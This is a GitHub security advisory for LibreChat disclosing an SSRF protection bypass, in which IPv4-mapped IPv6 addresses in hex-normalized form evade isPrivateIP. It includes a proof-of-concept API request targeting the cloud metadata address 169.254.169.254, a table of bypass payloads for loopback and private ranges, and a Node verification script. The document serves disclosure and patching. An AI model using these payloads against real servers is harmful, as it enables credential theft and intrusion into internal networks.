

 [danny-avila](#) / [LibreChat](#) Public[Code](#) [Issues](#) 244 [Pull requests](#) 215 [Discussions](#) [Actions](#) [Projects](#)

# SSRF protection bypass via IPv4-mapped IPv6 normalization in isPrivateIP

High [danny-avila](#) published [GHSA-w5r7-4f94-vp4c](#) last week

## Package

**librechat**

### Affected versions

v0.8.3-rc2

### Patched versions

v0.8.3

## Description

### Summary

`isPrivateIP()` in `packages/api/src/auth/domain.ts` fails to detect IPv4-mapped IPv6 addresses in their hex-normalized form, allowing any authenticated user to bypass SSRF protection and make the server issue HTTP requests to internal network resources — including cloud metadata services (e.g., AWS `169.254.169.254`), loopback, and RFC1918 ranges.

### Details

The root cause is a normalization mismatch between the SSRF validation layer and the Node.js URL parser.

`isPrivateIP()` checks IPv4-mapped IPv6 addresses using a dotted-decimal regex:

```
// packages/api/src/auth/domain.ts
const mappedMatch = normalized.match(
  /^::ffff:(\d{1,3})\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
);
```



However, the Node.js `URL` parser — used in `parseDomainSpec()` to extract the hostname before validation — **silently normalizes** all IPv4-mapped IPv6 addresses from dotted-decimal to hex notation:

```
new URL('http://[::ffff:169.254.169.254]/').hostname
→ '::ffff:a9fe:a9fe' ← hex form, never seen by the regex
```



This means `isPrivateIP` receives `::ffff:a9fe:a9fe` instead of `::ffff:169.254.169.254`. The dotted-decimal regex does not match, the IPv6 prefix checks ( `fc` , `fd` , `fe80` ) do not match, and the function returns `false` — treating a private address as public.

The validation chain in `isDomainAllowedCore()` calls both `isSSRFTarget()` and `resolveHostnameSSRF()`. The second function also fails to catch the bypass because it skips any host containing `:` (treating it as an IPv6 literal already handled by `isSSRFTarget`):

```
// resolveHostnameSSRF skips the DNS check for IPv6 literals
const ipv6Check = normalizedHost.replace(/^[|\$]/g, '');
if (ipv6Check.includes(':')) {
  return false; // ← bypass: no DNS resolution performed
}
```



The existing unit tests validate `isPrivateIP` directly with the pre-normalization input (`::ffff:169.254.169.254`), not with the hex form that URL parsing actually produces — providing false confidence that the protection works.

```
// domain.spec.ts – passes, but does NOT reflect real usage
expect(isPrivateIP('::ffff:169.254.169.254')).toBe(true); // ✓ dotted form, tested

// What actually reaches isPrivateIP in production – never tested:
// isPrivateIP('::ffff:a9fe:a9fe') → false ❌
```



### Affected call sites:

- `api/server/routes/agents/actions.js` — action creation endpoint
- `api/server/services/ToolService.js` — action execution (4 call sites)
- `packages/api/src/mcp/connection.ts` — MCP server connections

## PoC

**Prerequisites:** An authenticated user with permission to create or execute agent actions.

**Step 1** — Create an action with a private IPv4-mapped IPv6 address as the domain:

```
POST /api/agents/:agent_id/actions
Content-Type: application/json
Authorization: Bearer <token>

{
  "metadata": {
    "domain": "http://[::ffff:169.254.169.254]/",
```



```

    "raw_spec": "...
  }
}

```

The domain `http://[::ffff:169.254.169.254]/` passes `isActionDomainAllowed()` because the URL parser normalizes the hostname to `::ffff:a9fe:a9fe` before `isPrivateIP` sees it:

```

parseDomainSpec('http://[::ffff:169.254.169.254]/')
  → new URL(...).hostname → '::ffff:a9fe:a9fe'
  → isSSRFTarget('::ffff:a9fe:a9fe') → false ← not blocked
  → resolveHostnameSSRF('::ffff:a9fe:a9fe') → false ← skipped (contains ':')
  → isActionDomainAllowed returns true ✓ BYPASS

```

**Step 2** — Trigger the action. The HTTP request is made to `169.254.169.254` (or any other private range using the hex equivalents below).

### All private ranges bypassed (locally confirmed):

Payload	Resolves to	hostname after URL parsing
<code>http://[::ffff:169.254.169.254]/</code>	<code>169.254.169.254</code> (AWS metadata)	<code>::ffff:a9fe:a9fe</code>
<code>http://[::ffff:127.0.0.1]/</code>	<code>127.0.0.1</code> (loopback)	<code>::ffff:7f00:1</code>
<code>http://[::ffff:192.168.1.1]/</code>	<code>192.168.1.1</code> (private)	<code>::ffff:c0a8:101</code>
<code>http://[::ffff:10.0.0.1]/</code>	<code>10.0.0.1</code> (private)	<code>::ffff:a00:1</code>

### Verification script (Node.js):

```

// Reproduces the normalization gap locally
const payloads = [
  'http://[::ffff:169.254.169.254]/',
  'http://[::ffff:127.0.0.1]/',
  'http://[::ffff:192.168.1.1]/',
  'http://[::ffff:10.0.0.1]/',
];

for (const p of payloads) {
  const hostname = new URL(p).hostname.replace(/^\[|\]$|/g, '');
  const mappedMatch = hostname.match(
    /^::ffff:(\d{1,3})\.\(\d{1,3})\.\(\d{1,3})\.\(\d{1,3})$/
  );
  console.log(`${p} → hostname: ${hostname} → regex match: ${!!mappedMatch}`);
  // All output: regex match: false ← bypass confirmed
}

```

## Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any authenticated user with access to agent actions can force the LibreChat server to make HTTP requests to internal network addresses, including:

- **Cloud metadata services** ( `169.254.169.254` ) — leaks IAM credentials, instance tokens, and environment configuration on AWS, GCP, and Azure
- **Internal services** — databases, admin panels, and internal APIs not exposed to the internet
- **Loopback** ( `127.0.0.1` ) — services bound to localhost on the server itself

The impact is especially severe in cloud-hosted deployments where the metadata endpoint is unauthenticated and exposes credentials that can lead to full cloud account compromise.

---

**Affected versions:** latest ( `main` branch, confirmed)

**Ecosystem:** npm

**Package:** `librechat`

**Severity:** High

**CVSS:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N` (8.5)

**CWE:** CWE-918 — Server-Side Request Forgery (SSRF)

### Severity

**High** 8.5 / 10

#### CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	Low
Availability	None

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

### CVE ID

CVE-2026-31943

## Weaknesses

- ▶ CWE-918